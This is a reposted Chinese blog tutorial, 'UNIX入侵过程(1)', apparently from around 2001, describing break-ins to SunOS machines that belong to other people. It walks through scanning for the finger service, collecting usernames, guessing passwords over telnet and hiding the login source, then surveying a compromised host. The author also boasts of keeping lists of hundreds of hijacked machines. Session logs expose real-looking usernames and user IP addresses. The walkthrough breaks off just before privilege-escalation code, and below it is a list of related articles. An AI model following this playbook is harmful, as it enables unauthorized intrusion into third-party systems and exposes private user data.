UNIX入侵过程(1)

hackthebox-sunday(考点;finger/破解枚举/linux wget提权) 这是个SunOS,但其实渗透思路和linux一样 nmap 看到没有80,那基本就不是web层面,而要从端口突破了 首先是79的finger 从里面找存在的用户信息。 于是我用kali自带的字典,以及这个工具。他的网站似乎有时会打不开 perl finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10... 阅读详情

UNIX入侵过程(1)
作者序言:

 

本来很久以前说要写篇sunos 入侵教程的,但一直都没空,也没兴趣写。

说到就要做到。今天有点无聊的感觉,写点东西吧。

不过,这是我的最后一篇入侵教程。

黑来黑去有什么意思呢,我觉得还是写些技术分析的文章好些。

希望新手们看了我的这最后一篇入侵教程,能找到一些感觉。

这只是一篇写给新手的入门教程,不是新手的免看。

***请不要入侵和破坏国内的网络***

 

 

说明:

 

因为某些原因,把涉及到的IP全部换成了192.168.0.*

下面是所用到的系统列表的说明:

192.168.0.1     Windows 2000 advanced server 

192.168.0.2      Solaris 7 sparc , gcc

192.168.0.3      Solaris 5.6 sparc

192.168.0.4      Solaris 8 sparc

192.168.0.10     irix 6.5.8

192.168.0.20     redhat 6.2 

 

注:Solaris 也就是Sun os,他们的转换是:

Solaris 8 = Sunos 5.8,Solaris 7 = Sunos 5.7,Solaris 2.6 =Sunos 5.6,Solaris 2.5 =Sunos 5.5...

(你使用的平台最好为NT/Win2000/Linux/Unix,这里我用的是Win2000 ,192.168.0.1)

约定:

文章里面的“(***文字***)”是对该行命令或信息的一些说明。

所用到的工具为:

SuperScan 3.0  http://www.cnhonker.com/tmp/SuperScan.zip

SecureCRT 3.3 http://www.cnhonker.com/tmp/SecureCRT3.3.zip

里面所用到的有些程序代码请到http://lsd-pl.net/ 或 http://www.hack.co.za 查找。

 

 

入侵故事的开始

 

我喜欢把肉鸡列表放在桌面上,而每次重装系统总是会忘记备份桌面上的东西。

记得有次重装系统丢了500多台各种肉鸡的列表,有时候想起来就觉得心痛,真可惜啊。

M$的东西真是破兼可恶,又一次重装系统完毕,我再一次丢了列表。

幸好,这次的肉鸡不算多,但是我的Gcc,又得重新找,可怜啊。

如果不是这次重装系统,可能这篇教程也不会写了吧。

花点时间找几台机器吧,没机器用可不行啊。

你也跟着我来找找吧。

 

土办法,要获得第一个帐号,最简单的就是用finger 了。(其实,厚着脸皮向人要是最简单的办法。:))

扫网段端口用什么好呢,给大家一个介绍。SuperScan 3.0

大家可以在http://www.cnhonker.com/tmp/SuperScan.zip 得到我亲自汉化的3.0版本。

 

(ps:

有幸与小榕成为同事,得到了一个特殊版本的流光。这里顺便也为他的流光做做广告,我觉得流光对新手来说,流光是
最好的工具了。记得去年9月份自己刚开始学习NT/Win2000的攻击的时候,就常用流光来扫网段,有人说 lion=只会用流
光的家伙,呵呵J其实我已经很久没用过流光了,就是去年9,10月份比较常用些。现在我对新版本的流光感觉很好,功能
很多,里面的很多功能都很不错,特别是finger 探测和猜解,很适合新手使用,大家不妨试试。最新版本的流光可以在
小榕的网站获得:http://www.netxeyes.com

 

很多人对我的个人情况感兴趣,在这里也顺便说一下我个人的成长经历吧,看了大家别笑哦,其实是这样的:

2000年3月8日到广州实习,开始上网,开始学用IE,用email收发信件;

4月建立了个人网站,当时还只会用木马;

5月学习Sunos 系统的攻击,当时对提升权限等还一窍不通,不过这个月份我发现了www.elong.com的邮件系统绕过口令验
证的严重漏洞;

6月回学校毕业答辩;

7月在广州开始专职搞网页设计;

8月对Sunos 系统攻击有了一定的了解;

9月换了家公司,安装了自己的第一个win2000,并学习使用和尝试攻击;

10月专职于网络安全工作;

11月初碰linux,当时也在学习各种攻击手段和各种系统的攻击方法;

12月建立红客联盟网站。

2001年1月回家过春节;

2月组织攻击日本;

3月慢慢对攻击系统失去了兴趣;

4月在考虑很多东西;

5月组织对美网络反击战,结束后北上北京;

6月枯燥无味的一个月;

7月已经或者将要做几个大的决定。

送给各位网友两句话:

“人要靠自己”

“我就是我”

其实这两句话也就是我的全部。)

 

发了一通牢骚,开始我们的学习历程吧。

哦,慢着,新手们先去看看我几个月前写的三篇UNIX入侵教程,看完了再继续。

准备好了吗?

让我们来揭开UNIX神秘的面纱…

come on baby…

第一天:

 

 

好不容易等到下班。:(

打开SuperScan 3.0,(列表文件没找到错误,可以点击端口设置,再选导入,选好此软件目录里的scanner..lst ,
点击完成。)在IP栏中输入你要扫描的网段,建议每次扫描在10个C段以内,在扫描类型中选中“显示主机的响应”一
栏,如果你的网速慢,把“只扫描能ping的主机”也打上勾,选中“所有端口从”那个单选项,然后在框里输入开始和
结束的端口,这里都填“79”,也就是finger的端口,最后点“开始”进行扫描。

 

扫描完成后,点“剪除”去掉没开79端口的主机列表,点“散开”或者点“保存”把结果存为文本文件以便分析扫描结果。

我们通常可以看到如下几种常见的主机响应:

1.       …  Line     User      Host(s)                  Idle Location..

2.       No one logged on.

3.       Login       Name               TTY         Idle    When    Where..

4.       其他响应消息或者没有内容。

其中,我们只把2,3这两种的机器找出来。

现在我们开始手工找机器,或者用流光探测finger。

手工找其实也有窍门的,但很难说清楚,这里就一律用 finger 0@ip 来找SunOS的薄弱机器。下面的IP都用xxx.xxx.xxx.xxx代替。

 

 

-------------------------------------------------test--------------------------------------------------------------

C:/>finger 0@xxx.xxx.xxx.xxx

 

[xxx.xxx.xxx.xxx]

finger: 0: no such user.

-------------------------------------------------test--------------------------------------------------------------

 

 

失败,这个系统应该是linux,别灰心,我们继续找。

 

 

-------------------------------------------------test--------------------------------------------------------------

C:/>finger 0@xxx.xxx.xxx.xxx

 

[xxx.xxx.xxx.xxx]

Login       Name               TTY         Idle    When    Where

daemon          ???                         < .  .  .  . >

bin             ???                         < .  .  .  . >

sys             ???                         < .  .  .  . >

jeffrey         ???            pts/0        
 203.66.149.11

daniel          ???            437           114cm.kcable.

jamie           ???            0             203.66.162.68

postgres        ???            pts/2         203.66.162.80

nsadmin         ???            768          
 203.66.19.50

ho              ???            390           61.169.209.106

house18         ???            pts/1        
 203.66.250.1

tong            ???            pts/0        
 210.226. 42.69

jliu            ???            pts/0        
 203.66.52.87

ptai            ???                         < .  .  .  . >

-------------------------------------------------test--------------------------------------------------------------

 

 

我们需要的就是这种,:)其中,第一列的jeffrey,Daniel,Jamie,postgres等就是这个主机上的用户名,其他的内容都是一
些用户的登陆信息。

 

现在,我们来测试一下这些帐号的密码强度。(大家最好利用这些用户和一些密码猜解的工具配合来做,不然会感到厌倦的,
不过我以前特别喜欢猜: test:test oracle:oracle ….猜密码的感觉还不错。)

 

 

-------------------------------------------------test--------------------------------------------------------------

C:/>telnet xxx.xxx.xxx.xxx

 

SunOS 5.6      (***目标系统是SunOS 5.6 也就是Solaris 2.6***)

 

login: ptai       (***输入用户名***)

Password: ****   (***输入密码***)

Login incorrect    (***登陆失败***)

login: jliu

Password:

Login incorrect

$ login: tong

Password:

Last login: Mon Jul  2 13:21:55 from 210.226. 42.69 (***这个用户上次登陆时的IP***)

Sun Microsystems Inc.   SunOS 5.6       Generic August 1997

You have mail.    (***HOHO~登陆成功啦***)

$ uname –a       (***查看系统版本和补丁信息***)

SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10

$ set            (***查看一些系统变量信息***)

HOME=/export/home/tong

HZ=100

IFS=

LOGNAME=tong

MAIL=/var/mail/tong

MAILCHECK=600

OPTIND=1

PATH=/usr/bin:

PS1=$

PS2=>

SHELL=/bin/sh

TERM=ansi

TZ=Hongkong

$ gcc 

gcc: not found   (***可恶,没有编译器,我们继续找其他机器吧,等会回来收拾它。***)

$ telnet localhost (*** telnet一下本地,以免这个用户下次登陆时一下发现了IP问题***)

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

 

 

SunOS 5.6

 

login: tong

Password:

Last login: Wed Jul  4 17:56:09 from 211.99.42.226

Sun Microsystems Inc.   SunOS 5.6       Generic August 1997

You have mail.

$ exit

Connection closed by foreign host.

$ exit

 

遗失对主机的连接。

C:/>

-------------------------------------------------test--------------------------------------------------------------

 

 

我们继续猜解,若干时间过后,还不给我找到一个。:)

这台主机的IP用192.168.0.2代替啦。

 

 

-------------------------------------------------test--------------------------------------------------------------

C:/>finger 0@192.168.0.2

 

[192.168.0.2]

Login       Name               TTY         Idle    When    Where

daemon          ???                         < .  .  .  . >

bin             ???                         < .  .  .  . >

sys             ???                         < .  .  .  . >

dennis          ???            pts/5        
 pcd209117.netvig

oracle          ???            pts/5         o2

qwork           ???                         < .  .  .  . >

kenneth1        ???            pts/4        
 cm61-18-172-213.

wing            ???            pts/6         11 Wed 18:02  office

wilson          ???            pts/11        203.66.200.90

srini           ???            363          
 office

eric            ???            pts/8        
 office

render7         ???            62           
 211.18.109.186

delex           ???                         < .  .  .  . >

render9         ???            023          
 office

 

C:/>telnet 192.168.0.2

 

SunOS 5.7

 

login: render9

Password:

Login incorrect

login: delex

Password:

*********************************************************

 

# The JRun is now replaced by JServ

# To restart the servlet server, please use

 

rs.sh

 

# However, as the JServ will reload those classes

# inside the "/usr/proj/gipex/class", you just

# need to remove the old class with the new one.

 

*********************************************************

$ w

  6:19pm  up 61 day(s),  3:40,  3 users,  load average: 0.11, 0.07, 0.10

User     tty           login@  idle   JCPU   PCPU  what

root     console       4May0161days      2      2  /usr/dt/bin/sdt_shell -c  ?

  u

root     pts/4        Fri 4pm 5days                tail -f syslog

delex    pts/7         6:19pm                     w

$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$w

  4:24pm  up 62 day(s),  1:45,  3 users,  load average: 0.02, 0.02, 0.02

User     tty           login@  idle   JCPU   PCPU  what

root     console       4May0162days      2      2  /usr/dt/bin/sdt_shell -c  ?    u

root     pts/4        Fri 4pm 6days                tail -f syslog

$ gcc

gcc: No input files    

-------------------------------------------------test--------------------------------------------------------------

 

 

HOHO~终于找到一台有编译器的SunOS啦

现在我们来简单找找前面有没有入侵者。:)

 

 

-------------------------------------------------test--------------------------------------------------------------

$ ls -al

total 14

drwxrwxr-x   2 delex    staff        512 Jul  4 18:28 .

drwxr-xr-x  35 root     root        1024 May  7 10:46 ..

-rw-r--r--   1 delex    staff        144 May  2 10:46 .profile

-rw-------   1 root     staff        320 Jul  4 18:52 .sh_history

-rw-r--r--   1 delex    staff        124 May  2 10:46 local.cshrc

-rw-r--r--   1 delex    staff        581 May  2 10:46 local.login

-rw-r--r--   1 delex    staff        562 May  2 10:46 local.profile

$ cat /etc/passwd    (***检查/etc/passwd***)

root:x:0:1:Super-User:/:/sbin/sh

daemon:x:1:1::/:

bin:x:2:2::/usr/bin:

sys:x:3:3::/:

adm:x:4:4:Admin:/var/adm:

lp:x:71:8:Line Printer Admin:/usr/spool/lp:

uucp:x:5:5:uucp Admin:/usr/lib/uucp:

nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:Nobody:/:

noaccess:x:60002:60002:No Access User:/:

nobody4:x:65534:65534:SunOS 4.x Nobody:/:

dennis:x:1005:20::/export/home/dennis:/bin/sh

oracle:x:1001:100::/export/home/oracle:/bin/sh

render7:x:9589:101::/export/home/render7:/bin/sh

delex:x:1035:20::/export/home/delex:/bin/sh

ac1:x:3000:300:Agent Client 1:/export/home/ac1:/bin/sh

ac2:x:3001:300:Agent Client 2:/export/home/ac2:/bin/sh

render9:x:9591:101::/export/home/render9:/bin/sh

$ ls -al /          (***查看根目录是否有.rhosts等文件***)

total 381

drwxrwxrwx  35 root     root        1024 Jun 29 16:52 .

drwxrwxrwx  35 root     root        1024 Jun 29 16:52 ..

-rw-------   1 root     other        152 May  4 14:39 .Xauthority

drwxrwxr-x   4 root     other        512 Feb 20 10:33 .cpan

-rw-------   1 root     root        1032 May  4 14:39 .cpr_config

-rw-r--r--   1 root     other        947 Apr 14  2000 .desksetdefaults

drwxr-xr-x  15 root     other        512 Jun 20 13:09 .dt

-rwxr-xr-x   1 root     other       5111 Apr 13  2000 .dtprofile

drwx------   5 root     other        512 Apr 14  2000 .fm

drwxr-xr-x   2 root     other        512 Apr 13  2000 .hotjava

drwxr-xr-x   4 root     other        512 Mar 14 17:42 .netscape

-rw-------   1 root     other       1024 Dec  8  2000 .rnd

-rw-rw-r--   1 nobody   staff        402 Jun 12 11:14 .svg

drwx------   2 root     other        512 Apr 13  2000 .wastebasket

drwx------   2 root     other        512 Apr 13  2000 DeadLetters

drwx------   2 root     other        512 Apr 13  2000 Mail

drwxr-xr-x   2 root     root         512 Apr 13  2000 TT_DB

drwxrwxr-x   2 moluk    other        512 Dec 25  2000 XYIZNWSK

lrwxrwxrwx   1 root     root           9 Apr 13  2000 bin -> ./usr/bin

drwxr-xr-x   2 root     nobody       512 Jun 20 13:19 cdrom

-rw-------   1 root     other         77 Jun  7 15:03 dead.letter

drwxrwxr-x  18 root     sys         3584 May  4 14:39 dev

drwxrwxr-x   4 root     sys          512 Apr 13  2000 devices

drwxr-xr-x   9 root     root         512 Jun 12 14:47 disk2

drwxr-xr-x  32 root     sys         3584 Jul  4 18:53 etc

drwxrwxr-x   3 root     sys          512 Apr 13  2000 export

dr-xr-xr-x   1 root     root           1 May  4 14:39 home

drwxr-xr-x   9 root     sys          512 Dec 20  2000 kernel

lrwxrwxrwx   1 root     root           9 Apr 13  2000 lib -> ./usr/lib

drwx------   3 root     root        8192 Apr 13  2000 lost+found

drwxrwxr-x   2 root     sys          512 Apr 13  2000 mnt

dr-xr-xr-x   1 root     root           1 May  4 14:39 net

-rw-rw-r--   1 nobody   staff         13 Feb 20 16:53 newsletteradminmail.ost

drwx------   2 root     other        512 May  6  2000 nsmail

drwxrwxr-x   7 root     sys          512 Apr 28  2000 opt

drwxr-xr-x  12 root     sys          512 Apr 13  2000 platform

dr-xr-xr-x 192 root     root      126912 Jul  4 19:00 proc

drwxrwxr-x   2 root     sys          512 Dec 20  2000 sbin

drwxrwxr-x   2 root     10           512 Feb 15 14:50 snap

drwxrwxrwt   7 sys      sys          986 Jul  4 19:00 tmp

drwxrwxr-x  29 root     sys         1024 May  3 17:32 usr

drwxr-xr-x  26 root     sys          512 Jun 12 14:49 var

dr-xr-xr-x   6 root     root         512 May  4 14:39 vol

drwxr-xr-x   2 wing     10           512 Nov  6  2000 web

dr-xr-xr-x   1 root     root           1 Jul  4 18:55 xfn

$ find / -user root -perm -4000 -exec ls -al {} /;

-r-s--x--x   1 root     bin        19564 Sep  1  1998 /usr/lib/lp/bin/netpr

-r-sr-xr-x   1 root     bin        15260 Oct  6  1998 /usr/lib/fs/ufs/quota

-r-sr-sr-x   1 root     tty       174352 Nov  6  1998 /usr/lib/fs/ufs/ufsdump

-r-sr-xr-x   1 root     bin       856064 Nov  6  1998 /usr/lib/fs/ufs/ufsrestore

---s--x--x   1 root     bin         4316 Oct  6  1998 /usr/lib/pt_chmod

-r-sr-xr-x   1 root     bin         8576 Oct  6  1998 /usr/lib/utmp_update

-rwsr-xr-x   1 root     adm         5304 Sep  1  1998 /usr/lib/acct/accton

-r-sr-xr-x   1 root     bin       643464 Sep  1  1998 /usr/lib/sendmail

…

….        (***结果太多这里省略了,主要是简单找找有没有其他以前的入侵者。***)

…

$ps –ef

     UID   PID  PPID  C    STIME TTY      TIME CMD

    root     0     0  0   May 04 ?        0:01 sched

    root     1     0  0   May 04 ?        1:03 /etc/init -

    root     2     0  0   May 04 ?        0:01 pageout

    root     3     0  1   May 04 ?       476:33 fsflush

    root   225     1  0   May 04 ?        0:01 /usr/lib/utmpd

    root   115     1  0   May 04 ?        0:01 /usr/sbin/rpcbind

    root   299     1  0   May 04 ?        0:00 /usr/lib/saf/sac -t 300

    root    52     1  0   May 04 ?        0:00 /usr/lib/devfsadm/devfseventd

    root    54     1  0   May 04 ?        0:00 /usr/lib/devfsadm/devfsadmd

    root   117     1  0   May 04 ?        0:00 /usr/sbin/keyserv

    root   239     1  0   May 04 ?        0:13 /usr/lib/inet/xntpd

    root   142     1  0   May 04 ?        0:11 /usr/sbin/inetd -s

    root   163     1  0   May 04 ?        2:50 /usr/sbin/in.named

    root   164     1  0   May 04 ?        0:01 /usr/lib/autofs/automountd

  daemon   153     1  0   May 04 ?        0:00 /usr/lib/nfs/statd

    root   275     1  0   May 04 ?        0:01 /usr/lib/nfs/mountd

root   152     1  0   May 04 ?        0:00 /usr/lib/nfs/lockd

…

…

$ netstat -an|grep LISTEN        (***查看有没有可疑端口***)

      *.111                *.*                0      0     0      0 LISTEN

      *.21                 *.*                0      0     0      0 LISTEN

      *.23                 *.*                0      0     0      0 LISTEN

      *.514                *.*                0      0     0      0 LISTEN

      *.513                *.*                0      0     0      0 LISTEN

      *.512                *.*                0      0     0      0 LISTEN

      *.540                *.*                0      0     0      0 LISTEN

      *.79                 *.*                0      0     0      0 LISTEN

      *.37                 *.*                0      0     0      0 LISTEN

      *.7                  *.*                0      0     0      0 LISTEN

      *.9                  *.*                0      0     0      0 LISTEN

      *.13                 *.*                0      0     0      0 LISTEN

      *.19                 *.*                0      0     0      0 LISTEN

….  

$…(***省略了对端口进行的一番测试,看有没有bind suid root shell port ***)

…

$ cd /tmp

$ ls -al

total 1314

drwxrwxrwt   7 sys      sys          986 Jul  4 19:00 .

drwxrwxrwx  35 root     root        1024 Jun 29 16:52 ..

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-pipe

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-unix

drwxrwxrwx   2 root     root         179 May  4 14:39 .pcmcia

drwxrwxrwx   2 root     other        181 Jun 20 13:18 .removable

drwxrwxrwt   2 root     root         327 May  4 14:39 .rpc_door

-rwxrwxr-x   1 root     other        614 May  8 11:17 EncTest.class

-rw-------   1 root     other     265936 May  4 14:40 dtdbcache_:0

-rw-------   1 render9  render         0 May  8 11:42 mpcRaOhb

-rw-------   1 render9  render         0 May  8 13:02 mptWaGYf

-rw-rw-r--   1 root     sys         5248 May  4 14:39 ps_data

-rw-rw-r--   1 root     other          0 Jun 20 13:18 sdtvolcheck399

-rw-r--r--   1 root     other          4 May  4 14:39 speckeysd.lock

-rw-rw-r--   1 root     sys       326236 May  7 11:30 ups_data

$strings /bin/login

… 

$…     (***这里省略了对一些文件的简单测试****)

…

-------------------------------------------------test--------------------------------------------------------------

 

 

基本上没发现什么问题,来提升我们的权限吧。:)

 

 

-------------------------------------------------test--------------------------------------------------------------

$ set

EDITOR=vi

HOME=/export/home/delex

HZ=100

IFS=    

 

LD_LIBRARY_PATH=/export/home/software/setadapters/solaris2/cgi-bin/lib:

LOGNAME=delex

MAIL=/usr/mail/delex

MAILCHECK=600

MANPATH=:/usr/share/man:/usr/local/man

OPTIND=1

PATH=/usr/bin::/usr/bin:/usr/local/bin:/usr/bin:/usr/ucb:/usr/ccs/bin:/usr/sbin:/usr/local:/usr/local/bin
:/export/home/oracle/product/8.1.6/bin

PS1=$ 

PS2=> 

SHELL=/bin/sh

TERM=vt100

TZ=Hongkong

_INIT_PREV_LEVEL=S

_INIT_RUN_LEVEL=3

_INIT_RUN_NPREV=0

_INIT_UTS_ISA=sparc

_INIT_UTS_MACHINE=sun4u

_INIT_UTS_NODENAME=develop

_INIT_UTS_PLATFORM=SUNW,Ultra-5_10

_INIT_UTS_RELEASE=5.7

_INIT_UTS_SYSNAME=SunOS

_INIT_UTS_VERSION=Generic_106541-14

$ uname -a

SunOS develop 5.7 Generic_106541-14 sun4u sparc SUNW,Ultra-5_10

$ cd /tmp

$ cat > test.c      (***用cat命令写一个文件***)
黑客是如何轻松入侵你的 UNIX 系统?揭秘你从未注意的CUPS漏洞! CUPS,顾名思义,主要是用来管理打印任务的。你可能想,打印服务不就是发个文件给打印机,能有多大危险?但问题就在于,CUPS 不仅仅是一个简单的打印工具,它在 UNIX 系统中其实扮演了非常重要的角色。它可以远程管理打印设备,甚至处理用户权限。如果黑客能利用 CUPS 的漏洞进入你的系统,那不仅仅是打印问题,整个系统可能都被暴露。打个比方,CUPS 就像是你家门口的信箱,如果你平时对它不太关注,也许有一天小偷就会趁你不注意,从信箱开个小口子,悄悄潜入家中。 阅读详情

相关推荐

查找入侵系统日志的UNIX命令及系统运维

通过使用这些命令,我们可以有效地查找关键字、提取和分析日志字段,甚至实时监控日志文件的更新。入侵系统是一种常见的安全威胁,对于系统管理员和运维人员来说,了解如何查找并分析入侵系统的日志是至关重要的。grep命令是UNIX系统中非常强大的文本搜索工具,我们可以使用它来查找包含特定关键字的日志记录。awk是一种用于文本处理的强大工具,它可以帮助我们从日志文件中提取和分析特定的字段。sed命令是一种用于文本替换和编辑的工具,我们可以使用它来修改日志文件中的内容。该命令将输出所有包含关键字"入侵"的日志记录。

GnzhNetwork的博客 280

sqlserver Change Data Capture&Change Tracking

文章目录数据变化跟踪(SQL Server)使用change data capture或change tracking较常规方法(触发器+时间戳列+额外的表)的优势change data capture与change tracking之间的不同之处:Change Data Capturechange data capture数据流理解cdc和capture instancechange table(变更表)CDC时效原表变化的处理捕获作业与事务复制

在路上 15万+

《MySQL高级篇》十四、多版本并发控制

《MySQL高级篇》十四、多版本并发控制

LXYDSF的博客 3992

『第26天』Sunos (一)

今天我想给大家介绍的是Sunos 。 Sunos是一个非常好的Unix操作系统,功能强大。很多大型公司都采用此系统作为服务器系统。(例如:sina、163等。)至于它的漏洞,也是多不胜数的了。今天我就介绍一下这个系统的漏洞。Unix:Unix操作系统自70年代由贝尔实验室推出以来,80年代经过大学、研究所、工业实验室的应用和发展,现已成为全球各大学、研究所及工业研究室、计算机...

weixin_34152820的博客 842

保姆级教程:用OpenCV和MediaPipe在Python里实现实时手势识别(附完整代码)

本文提供了一份详细的Python教程,教你如何使用OpenCV和MediaPipe实现实时手势识别系统。从环境配置、手部关键点检测到手势分类算法,逐步讲解如何构建高精度手势识别应用,适用于智能家居控制、PPT操作等场景。教程包含完整代码示例和性能优化技巧,特别适合计算机视觉初学者和开发者实践。

weixin_28677005的博客 329

kaggle项目:纽约出租车行程时间NYC Taxi Trip Duration

纽约出租车形成时间预测(NYC Taxi Trip Duration)是Kaggle中的一个Playground竞赛。比赛数据集基于2016年纽约市黄色出租车行程记录数据,需要建立一个模型,根据单个行程属性,预测测试集中每次行程的持续时间。Kaggle项目模型XGBoost,评价指标RMSLE。

weixin_42113929的博客 2790

Solaris指令查找手册

硬件系统:1、如何查看cpu的状态?                   # psrinfo -v# mpstat     可以列出多cpu负载的状态2、如何查看内存?                        # prtconf | grep Memory 可以查看内存的多少.# /usr/platform/sun4u/sbin/prtdiag3、如何动态添加swap分区?

cRyIng_gG的专栏 2078

西安交通大学软件学院——分布式系统练习题(综合题)

摘要:本文探讨了分布式系统的核心特性与关键问题。首先阐述了分布式系统的8种透明性特性,包括访问、定位、迁移等。然后通过具体案例分析了分布式事务的回滚机制、域名解析的迭代与递归过程、不同分布式系统的异同比较。重点讨论了RPC通信中客户端/服务器崩溃的处理方法,包括消灭、再生和到期三种策略。最后介绍了Lamport时间戳算法在进程通信中的应用及问题解决方案。全文涵盖了分布式系统设计中的透明性、可靠性、一致性等核心问题。

qq_73044452的博客 204

UNIX入侵过程(2)

UNIX入侵过程(2)/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland        *://lsd-pl.net/ #*/ /*## /usr/lib/lp/bin/netpr                                                   #*/   /

【GTA: Vice City】 1619

【WRF-Urban】使用 LCZ 替换 WRF 运行中的 LUCC 数据

使用 LCZ 替换 WRF 运行中的 LUCC 数据

WW、forever的博客 989

深度强化学习训练结果曲线绘制教程

使用python语言,只调用matplotlib库,绘制训练过程中保存的强化学习训练曲线。模仿经典论文中的训练曲线,多次训练取平均,并绘制出阴影区域。

加斯顿工程师的博客 911

Unix 的入侵追踪

 在*NIX系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他 们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定 的。1.messages  /var/adm是UNIX的日志目录(linux下则是/var/log)。有

不用此栏 2024

Unity大世界流式加载:工业级架构与优化秘籍

游戏大厂Unity大世界流式加载框架全景解析:从《原神》《和平精英》等标杆案例出发,深入剖析工业级流式加载的完整技术架构。文章系统介绍了大世界分区块管理、异步加载机制、资源优化策略、多平台适配方案,以及业务联动与团队协作流程。重点阐述了Addressable与AssetBundle应用、空间触发器设计、性能自适应等核心技术,并展望AI预测加载、云游戏等未来方向。全面展现了大厂如何通过流式加载技术实现无缝开放世界体验的技术路径与实践经验。

本博客聚焦游戏开发技巧、创业实战心得及大学热门课程干货。这里既有技术深度,也有思维广度,无论你是开发者、创业者还是高校学子,都能在这里找到适合自己的成长之路! 608

Unix常用手工入侵检测方法与命令

    一个好的网管员不但要管理好网络,能及时排除各种故障,还要注意网络安全,提防黑客入侵。所以熟悉常用手工入侵检测的方法和命令也应该是网管员们的基本技能之一。本文介绍的是一些Unix下常用手工入侵检测方法与命令,网管员们掌握了它不但可以迅速判断出一些简单的黑客入侵,还可以加深对入侵检测的了解,从而能更好地使用一些入侵检测和审计工具。    检查/etc/passwd文件中是否有可疑用户    U

s_sword的专栏 1039

【数字孪生与仿真技术】06:航天器系统建模与验证全流程实战:从多学科建模到数字孪生(附完整代码与工业案例)

摘要:航天器系统开发面临多学科耦合强、验证流程复杂、可靠性要求极高的挑战。本文基于MATLAB/Simulink平台,系统阐述航天器从多域建模、动力系统开发到任务验证的全流程技术框架。内容涵盖Modelica统一建模规范、光伏-电池联合供电系统仿真、基于模型的需求追溯方法、蒙特卡洛可靠性分析及硬件在环测试等核心技术,并结合James Webb太空望远镜电力系统案例,展示工业级应用实践。文中提供完整的Simulink模型代码、仿真结果及流程图,最后探讨数字孪生与AI增强技术在航天器在轨运维中的未来应用。

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 1373

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

系统安全防护之UNIX下入侵检测的方法

 因为Unix系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法 以Linux和Solaris为例: 1、检查系统密码文件 首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看

不用此栏 2703

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

入侵UNIX和Linux服务器入门

原贴:http://www.any2000.com/Articles/show/1581_1.htm 入侵UNIX和Linux服务器入门

最实用的Linux博客 925

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Unix操作系统入侵追踪反击战

导读:   在Unix系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定的。      1.messages    /var/adm是UNIX的日志目录(linux下则是/var

技术资料库 1115

系统安全防护之UNIX下入侵检测方法

因为UNIX系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法  以LINUX和solaris为例:  1、检查系统密码文件  首先从明显的入手,查看一下passwd文件,ls –l /etc/pass

cnbird's blog 1004

linux/UNIX系统检测入侵

      因为UNIX系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法  以LINUX和solaris为例:  1、检查系统密码文件  首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看

恬淡为上,胜而不美 960

解决方案:Unix操作系统入侵追踪反击战

 在Unix系统遭受入侵后,确 定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他们发动正式攻击前所做的目标信息收集 工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定的。 1.messages /var/adm是UNIX的日志目录(linux下则是/va

anyx的专栏 1396

Unix的入侵追踪

在*NIX系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定的。 1.messages  /var/adm是 UNIX的日志目录(linux下则是/var/log)。有相当多的A

yhb72的专栏 995
上一篇: UNIX系统编程常用库函数说明
下一篇: UNIX入侵过程(2)
bmsdr
博客等级 码龄22年 11粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
